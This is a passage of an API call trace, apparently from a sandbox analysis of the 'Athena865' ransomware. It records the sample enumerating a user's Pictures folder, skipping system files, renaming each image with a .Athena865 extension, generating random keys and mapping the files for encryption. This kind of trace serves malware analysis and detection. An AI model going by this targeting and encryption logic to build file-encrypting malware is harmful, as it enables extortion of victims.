ftLastWriteTime.dwLowDateTime=0x5f371900, ftLastWriteTime.dwHighDateTime=0x1d4cd93, nFileSizeHigh=0x0, nFileSizeLow=0x4b29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gMvYXH18Yeul8hy7kd.jpg", cAlternateFileName="GMVYXH~1.JPG")) returned 1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2=".") returned 1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="..") returned 1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="windows") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="bootmgr") returned 1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="temp") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="pagefile.sys") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="boot") returned 1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="ids.txt") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="ntuser.dat") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="perflogs") returned -1 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2="MSBuild") returned -1 [0051.641] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg") returned 22 [0051.641] lstrcpyW (in: lpString1=0x241e8b8, lpString2="gMvYXH18Yeul8hy7kd.jpg" | out: lpString1="gMvYXH18Yeul8hy7kd.jpg") returned="gMvYXH18Yeul8hy7kd.jpg" [0051.641] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg") returned 22 [0051.641] lstrlenW (lpString="Athena865") returned 9 [0051.641] lstrcmpiW (lpString1="hy7kd.jpg", lpString2="Athena865") returned 1 [0051.641] lstrlenW (lpString=".dll") returned 4 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2=".dll") returned 1 [0051.641] lstrlenW (lpString=".lnk") returned 4 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2=".lnk") returned 1 [0051.641] lstrlenW (lpString=".ini") returned 4 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2=".ini") returned 1 [0051.641] lstrlenW (lpString=".sys") returned 4 [0051.641] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg", lpString2=".sys") returned 1 [0051.641] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg") returned 22 [0051.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\gMvYXH18Yeul8hy7kd.jpg.Athena865") returned 88 [0051.641] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\gMvYXH18Yeul8hy7kd.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\gmvyxh18yeul8hy7kd.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\gMvYXH18Yeul8hy7kd.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\gmvyxh18yeul8hy7kd.jpg.athena865"), dwFlags=0x1) returned 1 [0051.642] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\gMvYXH18Yeul8hy7kd.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\gmvyxh18yeul8hy7kd.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.642] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19241) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.643] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.643] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.643] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.644] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e30, lpName=0x0) returned 0x154 [0051.644] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e30) returned 0x100000 [0051.644] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.645] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.645] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.646] CloseHandle (hObject=0x154) returned 1 [0051.646] CloseHandle (hObject=0x17c) returned 1 [0051.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.648] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39cd3640, ftCreationTime.dwHighDateTime=0x1d4d225, ftLastAccessTime.dwLowDateTime=0x6a2f8f80, ftLastAccessTime.dwHighDateTime=0x1d4c57e, ftLastWriteTime.dwLowDateTime=0x6a2f8f80, ftLastWriteTime.dwHighDateTime=0x1d4c57e, nFileSizeHigh=0x0, nFileSizeLow=0xbde7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hhvAWIyB-LHiXo.png", cAlternateFileName="HHVAWI~1.PNG")) returned 1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2=".") returned 1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="..") returned 1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="windows") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="bootmgr") returned 1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="temp") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="pagefile.sys") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="boot") returned 1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="ids.txt") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="ntuser.dat") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="perflogs") returned -1 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2="MSBuild") returned -1 [0051.648] lstrlenW (lpString="hhvAWIyB-LHiXo.png") returned 18 [0051.648] lstrcpyW (in: lpString1=0x241e8b8, lpString2="hhvAWIyB-LHiXo.png" | out: lpString1="hhvAWIyB-LHiXo.png") returned="hhvAWIyB-LHiXo.png" [0051.648] lstrlenW (lpString="hhvAWIyB-LHiXo.png") returned 18 [0051.648] lstrlenW (lpString="Athena865") returned 9 [0051.648] lstrcmpiW (lpString1="LHiXo.png", lpString2="Athena865") returned 1 [0051.648] lstrlenW (lpString=".dll") returned 4 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2=".dll") returned 1 [0051.648] lstrlenW (lpString=".lnk") returned 4 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2=".lnk") returned 1 [0051.648] lstrlenW (lpString=".ini") returned 4 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2=".ini") returned 1 [0051.648] lstrlenW (lpString=".sys") returned 4 [0051.648] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png", lpString2=".sys") returned 1 [0051.649] lstrlenW (lpString="hhvAWIyB-LHiXo.png") returned 18 [0051.649] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\hhvAWIyB-LHiXo.png.Athena865") returned 84 [0051.649] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\hhvAWIyB-LHiXo.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\hhvawiyb-lhixo.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\hhvAWIyB-LHiXo.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\hhvawiyb-lhixo.png.athena865"), dwFlags=0x1) returned 1 [0051.651] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\hhvAWIyB-LHiXo.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\hhvawiyb-lhixo.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.652] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48615) returned 1 [0051.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.652] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.653] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.653] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.653] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc0f0, lpName=0x0) returned 0x154 [0051.653] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc0f0) returned 0x100000 [0051.655] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.656] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.656] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.657] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.657] CloseHandle (hObject=0x154) returned 1 [0051.657] CloseHandle (hObject=0x17c) returned 1 [0051.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.659] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbced0020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbced0020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0051.659] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0051.659] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f7bf80, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x3b09ece0, ftLastAccessTime.dwHighDateTime=0x1d4c81d, ftLastWriteTime.dwLowDateTime=0x3b09ece0, ftLastWriteTime.dwHighDateTime=0x1d4c81d, nFileSizeHigh=0x0, nFileSizeLow=0x29d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HtNt.png", cAlternateFileName="")) returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2=".") returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="..") returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="windows") returned -1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="bootmgr") returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="temp") returned -1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="pagefile.sys") returned -1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="boot") returned 1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="ids.txt") returned -1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="ntuser.dat") returned -1 [0051.659] lstrcmpiW (lpString1="HtNt.png", lpString2="perflogs") returned -1 [0051.660] lstrcmpiW (lpString1="HtNt.png", lpString2="MSBuild") returned -1 [0051.660] lstrlenW (lpString="HtNt.png") returned 8 [0051.660] lstrcpyW (in: lpString1=0x241e8b8, lpString2="HtNt.png" | out: lpString1="HtNt.png") returned="HtNt.png" [0051.660] lstrlenW (lpString="HtNt.png") returned 8 [0051.660] lstrlenW (lpString="Athena865") returned 9 [0051.660] lstrlenW (lpString=".dll") returned 4 [0051.660] lstrcmpiW (lpString1="HtNt.png", lpString2=".dll") returned 1 [0051.660] lstrlenW (lpString=".lnk") returned 4 [0051.660] lstrcmpiW (lpString1="HtNt.png", lpString2=".lnk") returned 1 [0051.660] lstrlenW (lpString=".ini") returned 4 [0051.660] lstrcmpiW (lpString1="HtNt.png", lpString2=".ini") returned 1 [0051.660] lstrlenW (lpString=".sys") returned 4 [0051.660] lstrcmpiW (lpString1="HtNt.png", lpString2=".sys") returned 1 [0051.660] lstrlenW (lpString="HtNt.png") returned 8 [0051.660] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HtNt.png.Athena865") returned 74 [0051.660] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HtNt.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\htnt.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HtNt.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\htnt.png.athena865"), dwFlags=0x1) returned 1 [0051.661] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HtNt.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\htnt.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.661] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10712) returned 1 [0051.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.661] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.662] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.662] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.662] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ce0, lpName=0x0) returned 0x154 [0051.662] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ce0) returned 0x100000 [0051.663] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.663] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.663] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.664] CloseHandle (hObject=0x154) returned 1 [0051.664] CloseHandle (hObject=0x17c) returned 1 [0051.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.665] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58df7850, ftCreationTime.dwHighDateTime=0x1d4c856, ftLastAccessTime.dwLowDateTime=0xd4ddac50, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0xd4ddac50, ftLastWriteTime.dwHighDateTime=0x1d4c6b3, nFileSizeHigh=0x0, nFileSizeLow=0x130f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JB7yzTWIUGM3Q.png", cAlternateFileName="JB7YZT~1.PNG")) returned 1 [0051.665] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2=".") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="..") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="windows") returned -1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="bootmgr") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="temp") returned -1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="pagefile.sys") returned -1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="boot") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="ids.txt") returned 1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="ntuser.dat") returned -1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="perflogs") returned -1 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2="MSBuild") returned -1 [0051.666] lstrlenW (lpString="JB7yzTWIUGM3Q.png") returned 17 [0051.666] lstrcpyW (in: lpString1=0x241e8b8, lpString2="JB7yzTWIUGM3Q.png" | out: lpString1="JB7yzTWIUGM3Q.png") returned="JB7yzTWIUGM3Q.png" [0051.666] lstrlenW (lpString="JB7yzTWIUGM3Q.png") returned 17 [0051.666] lstrlenW (lpString="Athena865") returned 9 [0051.666] lstrcmpiW (lpString1="UGM3Q.png", lpString2="Athena865") returned 1 [0051.666] lstrlenW (lpString=".dll") returned 4 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2=".dll") returned 1 [0051.666] lstrlenW (lpString=".lnk") returned 4 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2=".lnk") returned 1 [0051.666] lstrlenW (lpString=".ini") returned 4 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2=".ini") returned 1 [0051.666] lstrlenW (lpString=".sys") returned 4 [0051.666] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png", lpString2=".sys") returned 1 [0051.666] lstrlenW (lpString="JB7yzTWIUGM3Q.png") returned 17 [0051.666] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JB7yzTWIUGM3Q.png.Athena865") returned 83 [0051.666] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JB7yzTWIUGM3Q.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\jb7yztwiugm3q.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JB7yzTWIUGM3Q.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\jb7yztwiugm3q.png.athena865"), dwFlags=0x1) returned 1 [0051.667] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JB7yzTWIUGM3Q.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\jb7yztwiugm3q.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.667] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=78070) returned 1 [0051.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.668] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.668] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.668] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.668] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13400, lpName=0x0) returned 0x154 [0051.668] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13400) returned 0x100000 [0051.671] 